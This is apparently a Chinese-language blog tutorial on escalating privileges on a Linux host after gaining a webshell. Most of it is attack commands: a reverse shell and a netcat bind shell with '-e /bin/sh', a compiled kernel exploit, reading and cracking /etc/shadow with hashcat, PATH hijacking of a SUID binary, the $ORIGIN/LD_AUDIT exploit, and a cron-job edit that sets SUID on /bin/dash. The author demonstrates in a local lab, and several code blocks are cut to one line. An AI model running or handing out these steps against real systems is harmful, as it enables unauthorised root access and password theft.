前言
- Linux提权方法,环境是你已经拿到了一个linux的webshell
Linux 15.04提权
首先用perl-reverse-shell.pl来反弹shell到本地,由于是本地测试,所以ip就填自己本地的ip,接着本地nc -vvlp 1234,shell中执行下面命令,windows中就得到一个shell 了
信息收集
1 | 查看发行版 |
查找可用的提权 exp
1 | 内核:Linux moonteam-virtual-machine 3.19.0-15-generic #15-Ubuntu SMP Thu Apr 16 23:32:37 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux |
通过内核可以查到可利用的exp
将其保存为15.04.c
提权
用gcc 15.04.c -o exp
然后在webshell中运行提权成功!
由于这个窗口不好用,所以切换一下shell
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
可以直接访问/etc/shadow查看密文了
这时,问题来了,我们知道了密文该如何解密呢
hashcat解密利用
当前的Linux系统出于安全性考虑,etc/passwd 文件中并没有存储Linux用户的密码信息,而是转移到了/etc/shadow文件下,又称为“影子文件”。该文件只有root用户才能read权限,其他用户无权查看,使密码泄露风险降低。同时shadow文件中存储的密码采用SHA512散列加密,相比较原始的MD5,加密等级更高。
shadow文件密码存储格式:$id$salt$encrypted$
id代表使用的加密算法:
id | Method |
---|---|
1 | MD5 |
2a | Blowfish(not in mainline glibc;added in some Linux distribution) |
5 | SHA-256(since glibc 2.7) |
6 | SHA-512(since glibc 2.7) |
salt是长度1-16字符的随机数,随机数的引入增大了破解难度\
encrypted是最终的密文,即通过加密算法和salt(盐参)计算的最终结果\
实例:
1 | $6$JmlEMUxK$1z4jAyPW9M10W4c6T79ly1yO38S9dXWLdj.gflDVsqj4DkhBTMBjLd8u7q5GD4B.SXa4smGrsXZxwJtPNHfRe0 |
解析:该shadow文件显示,使用加密算法为SHA-512,随机数(salt)为PUehV6sk,加密密钥为Y1ctlOYUyKJMO868w7C78xeCvkGz4R7M73Hs6cg.IsMSN.2QryqCbbno5wvklwHn4is//ibMQA0TIWiledmp80
Hashcat工具的使用可以去看我的相关文章,这里只介绍命令
参数标准语句:
1 | hashcat -a 0 -m <加密模式> <shadow文本.txt> <密码文本.txt> -o 输出文本.txt |
这里由于我已知道密码有几位,所以采用掩码形式
3800 | md5($salt.$pass.$salt) |
---|---|
3710 | md5($salt.md5($pass)) |
4010 | md5($salt.md5($salt.$pass)) |
1800 | sha512crypt $6$, SHA512 (Unix) |
操作步骤
1、将shadow.txt中放于密文
2、命令执行
1 | hashcat -a 3 -m 1800 shadow.txt --increment --increment-min 5 --increment-max 6 ?d?d?d?d?d?d |
如果想要他输出的话加一个命令
1 | hashcat -a 3 -m 1800 shadow.txt --increment --increment-min 5 --increment-max 6 ?d?d?d?d?d?d -o result.txt |
Linux SUID提权
首先演示一遍,假设root用户创建了一个suid.c文件为以下代码
1 | #include<stdlib.h> |
接着gcc编译一下gcc suid.c -o suid-exp
,然后给它一个suid的文件属性chmod 4777 suid-exp
接着运行一下看看结果,发现可以运行/etc/shadow文件
接着进入普通用户开始实战,普通用户无法访问shadow
但是可以执行刚刚root用户创建的suid-exp文件./suid-exp
所以就可以想着劫持这个cat命令来执行/bin/bash,不过像suid这种文件可以利用find找出来全部
1 | find / -perm -u=s -type f 2>/dev/null |
劫持环境变量提权
因为System函数是继承环境变量,可以通过替换环境变量达到执行任意命令。
在当前/tep中创建一个文件
1 | echo "/bin/bash" > cat && chmod 777 cat |
当前目录中的cat它会执行一个shell
查看当前环境变量echo $PATH
接着将tmp目录增加到环境变量
1 | export PATH=.:$PATH |
接着执行/tmp/suid-exp,就成功劫持为root权限
在说一个find,假如find也被设置了suid,我们可以利用find提权,首先看看是否存在find
1 | touch sky |
前提是有nc,发现是root权限,接着将这个shell打开
1 | find sky -exec netcat -lvp 5555 -e /bin/sh \; |
结果nc版本太低,没有-e这个命令无法传递shell,没办法,那就下一个版本高的nc吧,开整
1、wget下一个tar压缩的nc
1 | wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz |
2、解压文件
1 | tar zxvf netcat-0.7.1.tar.gz |
3、解压完毕会生成目录
1 | cd netcat-0.7.1 |
4、配置环境
1 | ./configure |
5、配置完了再编译
1 | make |
6、编译成功生成了netcat可执行文件,位与src目录,cd进去然后运行,成功升级到一个版本有-e命令的情况
1 | ./netcat |
接着我们回到刚刚那个步骤,这回命令得加./netcat,成功反弹了一个root权限的用户
1 | find sky -exec ./netcat -lvp 5555 -e /bin/sh \; |
其他文件的提权方法可以看看suid提权,我觉得suid提权主要是做后门吧。
$ORIGIN溢出提权
利用tmp目录权限、suid权限和C语言使普通账号提前为ROOT权限,适用范围RHEL5-6,CENTOS5-6
提权方法
1、进入tmp目录,创建一个利用目录
1 | mkdir /tmp/exploit |
2、将/bin/ping 和 /tmp/exploit/target建立链接
1 | ln /bin/ping /tmp/exploit/target |
3、将其加载到内存中
1 | exec 3< /tmp/exploit/target |
4、接着删除我们刚刚创建的文件
1 | rm -rf /tmp/exploit |
4、接着创建一个payload.c
1 | void __attribute__((constructor)) init() |
然后再gcc编译
1 | gcc -w -fPIC -shared -o /tmp/exploit payload.c |
5、提权执行下面命令,成功root权限
1 | LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 |
Linux CRON JOBS提权
Cron jobs计划任务,通过/etc/crontab文件,可以设定系统定期执行的任务
crontab 文件只能是root权限 进行编辑
当我们得到一个非root权限的远程登录用户的时候
查看etc/crontab 内容文件,发现存在一个py脚本计划
查看脚本内容,发现会删除cleanup目录里所有文件,根据计划是每隔两分钟一次
接着很简单了,想要提权就直接给/bin/dash设置suid权限,运行之后就会得到root权限
1 | 将os.system('rm -r /home/moonteam/cleanup/*')替换成下面代码 |
接着再过两分钟,就可以执行/bin/dash命令来提权到root了,因为给/bin/dash加了suid权限
直接运行dash,就是root权限了
我的个人博客
孤桜懶契:http://gylq.gitee.io